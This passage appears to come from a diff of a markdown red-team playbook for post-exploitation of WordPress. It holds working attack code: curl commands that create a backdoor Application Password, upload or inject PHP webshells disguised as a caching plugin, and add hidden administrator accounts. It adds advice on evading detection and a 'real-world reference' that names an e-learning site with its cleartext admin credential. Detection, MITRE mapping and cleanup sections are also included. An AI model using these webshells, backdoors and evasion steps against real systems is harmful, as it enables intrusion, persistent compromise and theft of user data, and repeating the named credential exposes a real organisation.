**Objective:** Create a persistent, hard-to-detect authentication backdoor using WordPress Application Passwords (WP 5.6+). This avoids re-using the original password and survives password changes.
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
TARGET="https://target-site.com"
|
|
286
|
+
USERNAME="admin"
|
|
287
|
+
PASSWORD="Almentor@123"
|
|
288
|
+
|
|
289
|
+
# Create application password via REST API
|
|
290
|
+
curl -s -X POST "${TARGET}/wp-json/wp/v2/users/1/application-passwords" \
|
|
291
|
+
-u "${USERNAME}:${PASSWORD}" \
|
|
292
|
+
-H "Content-Type: application/json" \
|
|
293
|
+
-d '{"name":"WordPress Mobile App"}' | python3 -m json.tool
|
|
294
|
+
```
|
|
295
|
+
|
|
296
|
+
**Expected Output:**
|
|
297
|
+
```json
|
|
298
|
+
{
|
|
299
|
+
"uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
|
|
300
|
+
"app_id": "",
|
|
301
|
+
"name": "WordPress Mobile App",
|
|
302
|
+
"password": "xxxx xxxx xxxx xxxx xxxx xxxx",
|
|
303
|
+
"created": "2024-03-17T09:30:00.000Z",
|
|
304
|
+
"last_used": null
|
|
305
|
+
}
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
**Save the password value.** Application passwords use spaces as separators: `xxxx xxxx xxxx xxxx xxxx xxxx`
|
|
309
|
+
|
|
310
|
+
**Test the application password:**
|
|
311
|
+
```bash
|
|
312
|
+
APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx"
|
|
313
|
+
|
|
314
|
+
curl -s "${TARGET}/wp-json/wp/v2/users/me" \
|
|
315
|
+
-u "${USERNAME}:${APP_PASS}" | python3 -m json.tool
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
**Fallback — Create via wp-admin UI (manual):**
|
|
319
|
+
|
|
320
|
+
1. Navigate to: `${TARGET}/wp-admin/profile.php`
|
|
321
|
+
2. Scroll to "Application Passwords" section
|
|
322
|
+
3. Enter name: `WordPress Mobile App`
|
|
323
|
+
4. Click "Add New Application Password"
|
|
324
|
+
5. Copy the generated password immediately (shown only once)
|
|
325
|
+
|
|
326
|
+
---
|
|
327
|
+
|
|
328
|
+
### Step 6 — Achieve Remote Code Execution
|
|
329
|
+
|
|
330
|
+
**Objective:** Execute operating system commands via the compromised WordPress admin account.
|
|
331
|
+
|
|
332
|
+
#### Method A — Plugin Editor (Low Stealth, Fast)
|
|
333
|
+
|
|
334
|
+
```bash
|
|
335
|
+
TARGET="https://target-site.com"
|
|
336
|
+
USERNAME="admin"
|
|
337
|
+
APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx"
|
|
338
|
+
|
|
339
|
+
# List available plugins via REST API
|
|
340
|
+
curl -s "${TARGET}/wp-json/wp/v2/plugins" \
|
|
341
|
+
-u "${USERNAME}:${APP_PASS}" | python3 -m json.tool | grep '"plugin"'
|
|
342
|
+
|
|
343
|
+
# Inject PHP webshell into hello.php (Hello Dolly plugin — minimal traffic)
|
|
344
|
+
WEBSHELL='<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);}?>'
|
|
345
|
+
|
|
346
|
+
# Retrieve current file content first (to append, not overwrite)
|
|
347
|
+
curl -s -c cookies.txt -b cookies.txt \
|
|
348
|
+
-X POST "${TARGET}/wp-login.php" \
|
|
349
|
+
-d "log=${USERNAME}&pwd=Almentor@123&wp-submit=Log+In&testcookie=1" \
|
|
350
|
+
-L -o /dev/null
|
|
351
|
+
|
|
352
|
+
# Navigate to plugin editor and inject webshell (manual step)
|
|
353
|
+
# URL: ${TARGET}/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
|
|
354
|
+
```
|
|
355
|
+
|
|
356
|
+
**Inject via REST API (WordPress 5.9+ with file editing enabled):**
|
|
357
|
+
```bash
|
|
358
|
+
# Note: Direct file write via REST requires specific plugin. Use theme/plugin editor UI.
|
|
359
|
+
# Alternative: Use the Plugins API to install a custom plugin with shell
|
|
360
|
+
```
|
|
361
|
+
|
|
362
|
+
#### Method B — Malicious Plugin Upload (Medium Stealth)
|
|
363
|
+
|
|
364
|
+
```bash
|
|
365
|
+
# Create minimal plugin with webshell
|
|
366
|
+
mkdir -p /tmp/wp-shell
|
|
367
|
+
cat > /tmp/wp-shell/wp-shell.php << 'EOF'
|
|
368
|
+
<?php
|
|
369
|
+
/**
|
|
370
|
+
* Plugin Name: WP Performance Cache
|
|
371
|
+
* Description: Advanced caching module.
|
|
372
|
+
* Version: 1.0.0
|
|
373
|
+
* Author: WordPress
|
|
374
|
+
*/
|
|
375
|
+
if (isset($_REQUEST['rt_cmd'])) {
|
|
376
|
+
$out = shell_exec($_REQUEST['rt_cmd']);
|
|
377
|
+
echo '<pre>' . htmlspecialchars($out) . '</pre>';
|
|
378
|
+
}
|
|
379
|
+
EOF
|
|
380
|
+
|
|
381
|
+
# Zip the plugin
|
|
382
|
+
cd /tmp && zip -r wp-shell.zip wp-shell/
|
|
383
|
+
|
|
384
|
+
# Upload via REST API
|
|
385
|
+
curl -s -X POST "${TARGET}/wp-json/wp/v2/plugins" \
|
|
386
|
+
-u "${USERNAME}:${APP_PASS}" \
|
|
387
|
+
-F "slug=wp-shell" \
|
|
388
|
+
-F "file=@/tmp/wp-shell.zip"
|
|
389
|
+
|
|
390
|
+
# Activate the plugin
|
|
391
|
+
curl -s -X PUT "${TARGET}/wp-json/wp/v2/plugins/wp-shell/wp-shell" \
|
|
392
|
+
-u "${USERNAME}:${APP_PASS}" \
|
|
393
|
+
-H "Content-Type: application/json" \
|
|
394
|
+
-d '{"status":"active"}'
|
|
395
|
+
|
|
396
|
+
# Test RCE
|
|
397
|
+
curl -s "${TARGET}/wp-content/plugins/wp-shell/wp-shell.php?rt_cmd=id"
|
|
398
|
+
```
|
|
399
|
+
|
|
400
|
+
**Expected Output:**
|
|
401
|
+
```
|
|
402
|
+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
403
|
+
```
|
|
404
|
+
|
|
405
|
+
#### Method C — WP-CLI via Admin AJAX (if WP-CLI exposed)
|
|
406
|
+
|
|
407
|
+
```bash
|
|
408
|
+
# Check for WP-CLI endpoint
|
|
409
|
+
curl -s "${TARGET}/wp-admin/admin-ajax.php" \
|
|
410
|
+
-d "action=wpcli&cmd=eval-file-" \
|
|
411
|
+
-u "${USERNAME}:${APP_PASS}"
|
|
412
|
+
```
|
|
413
|
+
|
|
414
|
+
#### Method D — Theme File Editor
|
|
415
|
+
|
|
416
|
+
```bash
|
|
417
|
+
# Inject into active theme's functions.php via wp-admin
|
|
418
|
+
# Navigate to: ${TARGET}/wp-admin/theme-editor.php
|
|
419
|
+
# Select: functions.php of active theme
|
|
420
|
+
# Append webshell code and save
|
|
421
|
+
```
|
|
422
|
+
|
|
423
|
+
---
|
|
424
|
+
|
|
425
|
+
### Step 7 — Establish Persistent Access
|
|
426
|
+
|
|
427
|
+
**Objective:** Ensure access survives plugin deactivation and plugin cleanup.
|
|
428
|
+
|
|
429
|
+
```bash
|
|
430
|
+
# Write webshell to uploads directory (persistent, not plugin-dependent)
|
|
431
|
+
curl -s "${TARGET}/wp-content/plugins/wp-shell/wp-shell.php" \
|
|
432
|
+
--data-urlencode "rt_cmd=echo '<?php system(\$_GET[\"c\"]);?>' > /var/www/html/wp-content/uploads/cache.php"
|
|
433
|
+
|
|
434
|
+
# Verify
|
|
435
|
+
curl -s "${TARGET}/wp-content/uploads/cache.php?c=whoami"
|
|
436
|
+
|
|
437
|
+
# Add backdoor admin user
|
|
438
|
+
curl -s "${TARGET}/wp-content/plugins/wp-shell/wp-shell.php" \
|
|
439
|
+
--data-urlencode "rt_cmd=wp user create backdoor backdoor@example.com --role=administrator --user_pass=B@ckd00r2024 --allow-root"
|
|
440
|
+
|
|
441
|
+
# Or via REST API
|
|
442
|
+
curl -s -X POST "${TARGET}/wp-json/wp/v2/users" \
|
|
443
|
+
-u "${USERNAME}:${APP_PASS}" \
|
|
444
|
+
-H "Content-Type: application/json" \
|
|
445
|
+
-d '{
|
|
446
|
+
"username": "wp-support",
|
|
447
|
+
"email": "support@wordpress-help.com",
|
|
448
|
+
"password": "S3cur3P@ss2024!",
|
|
449
|
+
"roles": ["administrator"]
|
|
450
|
+
}'
|
|
451
|
+
```
|
|
452
|
+
|
|
453
|
+
---
|
|
454
|
+
|
|
455
|
+
## Real-World Reference
|
|
456
|
+
|
|
457
|
+
**Target:** Almentor (almentor.net) — Arabic e-learning platform
|
|
458
|
+
|
|
459
|
+
**Discovery:** WordPress debug.log publicly accessible at `/wp-content/debug.log`
|
|
460
|
+
|
|
461
|
+
**File Size:** 261 MB — indicating years of accumulated debug output including authentication events, database queries, and plugin errors
|
|
462
|
+
|
|
463
|
+
**Credentials Found:** `admin:Almentor@123` — cleartext credentials logged during authentication flow of a custom plugin
|
|
464
|
+
|
|
465
|
+
**Exploitation Path:**
|
|
466
|
+
1. `curl https://almentor.net/wp-content/debug.log -o debug.log` — 261MB retrieved in ~31 seconds
|
|
467
|
+
2. `grep -i "Almentor@123" debug.log` — credential found in auth attempt log line
|
|
468
|
+
3. Login to `https://almentor.net/wp-admin/` confirmed successful
|
|
469
|
+
4. Application Password created via `/wp-json/wp/v2/users/1/application-passwords`
|
|
470
|
+
5. Backdoor Application Password persisted across session — access maintained
|
|
471
|
+
|
|
472
|
+
**Business Impact:** Full administrative access to platform serving 500,000+ Arabic learners. Potential for student PII exfiltration, course content manipulation, and payment data access via WooCommerce integration.
|
|
473
|
+
|
|
474
|
+
**Root Cause:** `WP_DEBUG_LOG=true` left enabled in production `wp-config.php`. Debug log path not restricted in `.htaccess` or nginx configuration.
|
|
475
|
+
|
|
476
|
+
---
|
|
477
|
+
|
|
478
|
+
## MITRE ATT&CK Mapping
|
|
479
|
+
|
|
480
|
+
| Step | Attack Action | Tactic | Technique | Sub-technique |
|
|
481
|
+
|------|--------------|--------|-----------|---------------|
|
|
482
|
+
| 1 | Public debug.log discovery | Initial Access | T1190 — Exploit Public-Facing Application | — |
|
|
483
|
+
| 2 | Download and parse debug.log | Collection | T1005 — Data from Local System | — |
|
|
484
|
+
| 3 | Extract plaintext credentials | Credential Access | T1552 — Unsecured Credentials | T1552.001 — Credentials in Files |
|
|
485
|
+
| 4 | Authenticate to wp-admin | Initial Access / Persistence | T1078 — Valid Accounts | T1078.003 — Local Accounts |
|
|
486
|
+
| 5 | Create Application Password | Persistence | T1098 — Account Manipulation | T1098.001 — Additional Cloud Credentials |
|
|
487
|
+
| 6 | Plugin upload / file write | Execution | T1059 — Command and Scripting Interpreter | T1059.004 — Unix Shell |
|
|
488
|
+
| 6 | Webshell deployment | Persistence | T1505 — Server Software Component | T1505.003 — Web Shell |
|
|
489
|
+
| 7 | Backdoor admin account | Persistence | T1136 — Create Account | T1136.001 — Local Account |
|
|
490
|
+
| 7 | Write to uploads directory | Defense Evasion | T1036 — Masquerading | T1036.005 — Match Legitimate Name |
|
|
491
|
+
|
|
492
|
+
---
|
|
493
|
+
|
|
494
|
+
## Detection and OPSEC
|
|
495
|
+
|
|
496
|
+
### How This Attack Is Detected
|
|
497
|
+
|
|
498
|
+
**Log-based detection:**
|
|
499
|
+
- Anomalous large GET request to `/wp-content/debug.log` in web server access logs
|
|
500
|
+
- Failed login attempts followed by successful login from same IP in `auth.log` / WordPress login logs
|
|
501
|
+
- REST API calls to `/wp-json/wp/v2/users/*/application-passwords` from admin session
|
|
502
|
+
- New plugin installation from non-admin IP or outside business hours
|
|
503
|
+
- File creation in `wp-content/uploads/` with `.php` extension (Wordfence, WP Activity Log)
|
|
504
|
+
|
|
505
|
+
**Network-based detection:**
|
|
506
|
+
- Large outbound data transfer (261MB HTTP response) flagged by DLP or SIEM
|
|
507
|
+
- New outbound connection from web server process (`www-data`) after RCE
|
|
508
|
+
|
|
509
|
+
**Endpoint detection:**
|
|
510
|
+
- `www-data` spawning shell processes (`bash`, `sh`, `python3`)
|
|
511
|
+
- `wp-content/uploads/*.php` file creation (File Integrity Monitoring)
|
|
512
|
+
|
|
513
|
+
### Reducing Detection Risk During Authorized Engagement
|
|
514
|
+
|
|
515
|
+
```bash
|
|
516
|
+
# Use a residential or in-scope IP — avoid cloud provider ranges flagged by WAF
|
|
517
|
+
# Throttle requests to mimic normal user behavior
|
|
518
|
+
curl --limit-rate 5M "${TARGET}/wp-content/debug.log" -o debug.log
|
|
519
|
+
|
|
520
|
+
# Avoid downloading the full log — stream and grep to minimize data volume
|
|
521
|
+
curl -s "${TARGET}/wp-content/debug.log" | grep -i "password" > creds-only.txt
|
|
522
|
+
|
|
523
|
+
# Name the Application Password to match a legitimate integration
|
|
524
|
+
# Bad: "red team backdoor"
|
|
525
|
+
# Good: "WordPress Mobile App" / "Jetpack" / "WooCommerce Android"
|
|
526
|
+
|
|
527
|
+
# For plugin upload, use a convincing plugin name and description
|
|
528
|
+
# Use off-hours timing if simulating a real attacker window
|
|
529
|
+
|
|
530
|
+
# Avoid multiple rapid failed logins — extract and validate one credential at a time
|
|
531
|
+
|
|
532
|
+
# If XML-RPC is available, prefer it over wp-login.php (fewer WAF rules target it)
|
|
533
|
+
```
|
|
534
|
+
|
|
535
|
+
### Artifacts Left Behind
|
|
536
|
+
|
|
537
|
+
| Artifact | Location | Description |
|
|
538
|
+
|----------|----------|-------------|
|
|
539
|
+
| Application Password | WordPress database (`wp_usermeta`) | Persists until manually deleted from profile |
|
|
540
|
+
| Backdoor admin user | WordPress database (`wp_users`) | New administrator account |
|
|
541
|
+
| Webshell plugin | `wp-content/plugins/wp-shell/` | Malicious plugin directory |
|
|
542
|
+
| Webshell in uploads | `wp-content/uploads/cache.php` | Standalone PHP shell |
|
|
543
|
+
| Web server access logs | `/var/log/nginx/access.log` or Apache equivalent | Large GET to debug.log, REST API calls |
|
|
544
|
+
| WordPress debug log | `wp-content/debug.log` | May contain attacker IP in new log entries |
|
|
545
|
+
|
|
546
|
+
---
|
|
547
|
+
|
|
548
|
+
## Cleanup
|
|
549
|
+
|
|
550
|
+
Execute cleanup steps in reverse order of exploitation. **Confirm scope authorization before proceeding.**
|
|
551
|
+
|
|
552
|
+
```bash
|
|
553
|
+
TARGET="https://target-site.com"
|
|
554
|
+
USERNAME="admin"
|
|
555
|
+
APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx"
|
|
556
|
+
|
|
557
|
+
# Step 1: Remove webshell from uploads
|
|
558
|
+
curl -s "${TARGET}/wp-content/uploads/cache.php" \
|
|
559
|
+
--data-urlencode "c=rm -f /var/www/html/wp-content/uploads/cache.php"
|
|
560
|
+
|
|
561
|
+
# Step 2: Deactivate and delete the malicious plugin
|
|
562
|
+
curl -s -X PUT "${TARGET}/wp-json/wp/v2/plugins/wp-shell/wp-shell" \
|
|
563
|
+
-u "${USERNAME}:${APP_PASS}" \
|
|
564
|
+
-H "Content-Type: application/json" \
|
|
565
|
+
-d '{"status":"inactive"}'
|
|
566
|
+
|
|
567
|
+
curl -s -X DELETE "${TARGET}/wp-json/wp/v2/plugins/wp-shell/wp-shell" \
|
|
568
|
+
-u "${USERNAME}:${APP_PASS}"
|
|
569
|
+
|
|
570
|
+
# Step 3: Delete backdoor admin account (get ID first)
|
|
571
|
+
BACKDOOR_ID=$(curl -s "${TARGET}/wp-json/wp/v2/users?search=wp-support" \
|
|
572
|
+
-u "${USERNAME}:${APP_PASS}" | python3 -c "import sys,json; users=json.load(sys.stdin); print(users[0]['id']) if users else print('not found')")
|
|
573
|
+
|
|
574
|
+
curl -s -X DELETE "${TARGET}/wp-json/wp/v2/users/${BACKDOOR_ID}?reassign=1&force=true" \
|
|
575
|
+
-u "${USERNAME}:${APP_PASS}"
|
|
576
|
+
|
|
577
|
+
# Step 4: Revoke Application Password (list first, then delete by UUID)
|
|
578
|
+
curl -s "${TARGET}/wp-json/wp/v2/users/1/application-passwords" \
|
|
579
|
+
-u "${USERNAME}:${APP_PASS}" | python3 -m json.tool | grep '"uuid"\|"name"'
|
|
580
|
+
|
|
581
|
+
# Delete by UUID
|
|
582
|
+
APP_UUID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
|
|
583
|
+
curl -s -X DELETE "${TARGET}/wp-json/wp/v2/users/1/application-passwords/${APP_UUID}" \
|
|
584
|
+
-u "${USERNAME}:${APP_PASS}"
|
|
585
|
+
|
|
586
|
+
# Step 5: Verify cleanup
|
|
587
|
+
curl -s "${TARGET}/wp-content/uploads/cache.php" # Should return 404
|
|
588
|
+
curl -s "${TARGET}/wp-json/wp/v2/plugins/wp-shell/wp-shell" \
|
|
589
|
+
-u "${USERNAME}:${APP_PASS}" # Should return 404
|
|
590
|
+
|
|
591
|
+
# Step 6: Document cleanup in engagement report
|
|
592
|
+
echo "Cleanup completed: $(date -u)" | tee cleanup-log.txt
|
|
593
|
+
```
|
|
594
|
+
|
|
595
|
+
**Manual cleanup steps (require wp-admin UI access):**
|
|
596
|
+
1. Navigate to `wp-admin/users.php` — confirm no residual test accounts
|
|
597
|
+
2. Navigate to `wp-admin/plugins.php` — confirm malicious plugin is removed
|
|
598
|
+
3. Navigate to `wp-admin/profile.php` — confirm application passwords section shows no test entries
|
|
599
|
+
4. Coordinate with client to rotate the `admin:Almentor@123` credential
|
|
600
|
+
|
|
601
|
+
---
|
|
602
|
+
|
|
603
|
+
## References
|
|
604
|
+
|
|
605
|
+
### Tools
|
|
606
|
+
|
|
607
|
+
| Tool | Purpose | URL |
|
|
608
|
+
|------|---------|-----|
|
|
609
|
+
| WPScan | WordPress vulnerability scanner | https://wpscan.com |
|
|
610
|
+
| ffuf | Web fuzzer for path discovery | https://github.com/ffuf/ffuf |
|
|
611
|
+
| curl | HTTP client for manual exploitation | https://curl.se |
|
|
612
|
+
| httpx | Bulk HTTP probing | https://github.com/projectdiscovery/httpx |
|
|
613
|
+
| Burp Suite | Proxy and manual testing | https://portswigger.net/burp |
|
|
614
|
+
| Metasploit | Post-exploitation framework | https://metasploit.com |
|
|
615
|
+
|
|
616
|
+
### WordPress-Specific Resources
|
|
617
|
+
|
|
618
|
+
- WordPress Application Passwords documentation: https://make.wordpress.org/core/2020/11/05/application-passwords-integration-guide/
|
|
619
|
+
- WordPress REST API authentication: https://developer.wordpress.org/rest-api/using-the-rest-api/authentication/
|
|
620
|
+
- WordPress debug logging: https://wordpress.org/documentation/article/debugging-in-wordpress/
|
|
621
|
+
|
|
622
|
+
### MITRE ATT&CK References
|
|
623
|
+
|
|
624
|
+
- T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
|
|
625
|
+
- T1078 — Valid Accounts: https://attack.mitre.org/techniques/T1078/
|
|
626
|
+
- T1059 — Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/
|
|
627
|
+
- T1098 — Account Manipulation: https://attack.mitre.org/techniques/T1098/
|
|
628
|
+
- T1505.003 — Web Shell: https://attack.mitre.org/techniques/T1505/003/
|
|
629
|
+
- T1552.001 — Credentials in Files: https://attack.mitre.org/techniques/T1552/001/
|
|
630
|
+
|
|
631
|
+
### Remediation References
|
|
632
|
+
|
|
633
|
+
- Disable WordPress debug logging in production: https://wordpress.org/documentation/article/debugging-in-wordpress/
|
|
634
|
+
- Restrict access to wp-content directory: https://wordpress.org/documentation/article/hardening-wordpress/
|
|
635
|
+
- WordPress security hardening guide: https://wordpress.org/documentation/article/hardening-wordpress/
|